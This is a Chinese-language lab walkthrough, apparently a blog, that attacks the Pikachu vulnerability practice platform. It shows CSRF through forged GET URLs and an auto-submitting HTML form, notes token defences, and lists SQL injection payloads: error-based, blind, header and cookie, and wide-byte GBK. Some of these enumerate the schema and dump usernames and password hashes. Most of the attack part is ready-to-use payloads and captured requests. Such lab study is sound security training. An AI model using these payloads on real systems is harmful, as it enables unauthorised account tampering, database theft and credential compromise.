举个栗子: 用户想要修改自己的账户信息,那么他的修改流程是这样的
登陆账户—>修改信息&点击提交—>修改成功
这其中有两个要求,第一账有户密码(登陆权限)、第二有修改信息的链接格式;现在如果有个攻击者想要修改用户的信息,就要先获得一个修改链接,修改其中信息(链接可以自己注册账户,抓修改信息包),然后让用户在登陆时点击这个链接,至此攻击完成。
上述是最简单的流程,实际上还会存在其他问题:
总的看来,漏洞利用并不是很容易, 当然,如果发现了一个XSS漏洞,则可以这样做: 注入XSS脚本(盗取cookie的脚本)的页面,拿到用户关键信息后自己修改用户信息。
这里可以看出CSRF和XSS的区别
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止操作出现被伪造的情况,从而导致CSRF。比如:
跨站请求伪造(Cross-site request forgery)简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。
GET的参数都是在url里面修改的,这样测试可以将要修改的东西写进url里由受害者访问,访问过后攻击就完成了。
首先获取下修改链接,注册账户,抓修改信息的包
抓到的修改信息的包,分析包信息,并没有如token之类的安全验证 GET /vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=123000000&add=giaogiao&email=lucy%40pikachu.com&submit=submit HTTP/1.1 Host: pikachu-master:8890 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://pikachu-master:8890/vul/csrf/csrfget/csrf_get_edit.php Cookie: PHPSESSID=2scm3ehko6qvbnj1a62uoghqk5 Upgrade-Insecure-Requests: 1
这个是修改链接:/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=55556666&add=giaogiao&email=lucy%40pikachu.com&submit=submit
重新构造加上网站名:http://pikachu-master:8890//vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=55556666&add=giaogiao&email=lucy%40pikachu.com&submit=submit
由于POST型不能通过伪造URL的方式进行攻击,这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导用户点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
抓的post修改数据包 POST //vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1 Host: pikachu-master:8890 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 80 Origin: http://pikachu-master:8890 Connection: close Referer: http://pikachu-master:8890//vul/csrf/csrfpost/csrf_post_edit.php 漏洞地址 Cookie: PHPSESSID=gdik1ol3e1pt60a8169b9c3jc5 Upgrade-Insecure-Requests: 1 sex=girl&phonenum=5555485&add=giaogiao888&email=lucy%40pikachu.com&submit=submit
本地搭建了一个网站用来转发post表单到漏洞地址,网站地址:http://csrf-post:8894/index.html,index.html代码如下
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://pikachu-master:8890//vul/csrf/csrfpost/csrf_post_edit.php"> <!--漏洞地址--> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="999999999" /> <input id="add" type="text" name="add" value="hacker" /> <input id="email" type="text" name="email" value="lucy@pikachu.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
接下来只要让登录状态下的用户访问 http://csrf-post:8894/index.html 就可以完成攻击。
参考文档
查看token,看到提交方式是url提交,但是里多了token验证 GET //vul/csrf/csrftoken/token_get_edit.php?sex=girl&phonenum=123000000&add=giaogiao888&email=lucy%40pikachu.com&token=7060061088cfc779c8113985276&submit=submit HTTP/1.1 Host: pikachu-master:8890 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://pikachu-master:8890//vul/csrf/csrftoken/token_get_edit.php Cookie: PHPSESSID=gdik1ol3e1pt60a8169b9c3jc5 Upgrade-Insecure-Requests: 1
由于带token的请求,每次都修改一个随机码(需要够随机,不容易伪造),后台每次对这个随机码进行验证,我们伪造的链接并不能实时获取验证信息,这样我们攻击链接就会失效了,即防止了csrf。
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
观察发现是GET提交,猜测代码可能是$name = $_GET[‘sss’],select 列1,列2 from 表名 where name = ‘sss’,数据库中where 变量要带单引号;
构造payload:' or 1=1--+'
,'or 1=1#
都可以可以闭合就行
看代还有个XSS,测试下: 'on 1=1 #' <script>alert(555)</script>
') or 1=1--
注意最后是有一个空格的,不带空格的话--
会和sql中的一个单引号起作用。insert/update/delete
这三个函数属于操作函数,和select
查询函数不同,不能使用 union
进行查询,通常采用报错返回来获取信息updatexml()函数是更新xml文档的函数,语法updatexml(目标xml文档,xml路径,更新的内容)
extractvalue() :对XML文档进行查询的函数,其实就是相当于我们熟悉的HTML文件中用
<div><p><a>
标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
此函数返回不大于x的最大整数。
使用floor的话需要三个条件
– 运算里面要有count
– 运算里面要有group by
– 运算里面要有rand
注入语句
1’ and UpdateXML(1,concat(’~’,database()),1)#
1’ and ExtractValue(1,concat(’~’,database()))#
insert注入
update注入
delete注入
fool获取版本号
kobe ' or (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a )#
直接替换掉 ua头数据 1' or updatexml(1,concat(0x7e,database()),0) or'
cookie注入
参考
参考
盲注的概念:在有些情况下,后台使用了错误消息屏蔽方法(比如@)屏蔽了报错,此时无法再根据报错信息来进行注入的判断。即盲注。根据表现形式不同,分为based boolian(真假盲注)和based time(时间盲注)
基于boolian的盲注主要表现症状:
kobe
是正确的输入,可以得到正确结果,我们设置payloda:kobe ‘ and 1=1#
程序还是正确输出,因为 1=1
为真,如果改成1=2
呢?程序输出错误,因为影响了kobe
的正确性验证一下
kobe ' and (length(database())=7)#
,测试语句是为了判断读取的数据库长度是否为7这样我们就可以构造各种测试函数,通过是否正确输出爆破一些信息
kobe’ and (ord(mid(database(),1,1))=112)# 可以看到数据库第1位ascii码为112,转成字符就是:p
kobe ' and if(length(database())=7,sleep(3),1)#
参考:SQL注入进阶之1宽字节注入攻击(Pikachu漏洞练习平台)
参考:宽字节注入
在使用PHP连接MySQL的时候,当设置“set character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉
空格 -----> %20
' -----> %27
# -----> %23
\ -----> %5C
? -----> %df
举个例子
当我们注入语句写:id=1' and 1=1#
数据库语句:select * from user where id ='1\' and 1=1#'
,注入没有成功
换下注入语句:id=1%df' and 1=1#
数据库语句:select * from user where id ='1運' and 1=1#'
转换过程
’ -----> \ ’
%27 ----->%5c%27
单引号被转义了
%df’ -----> %df \ ’
%df%27 ----->%df%5c
%27 \ 被吃掉了
这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
1%df' or 1=1 #
1%df' union select 1,2 #
1%df' union select database(),2 #
1%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 #
1%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
1%df' union select (select group_concat(username,0x3b,password) from pikachu.users),2#
得到的是md5值,点击解密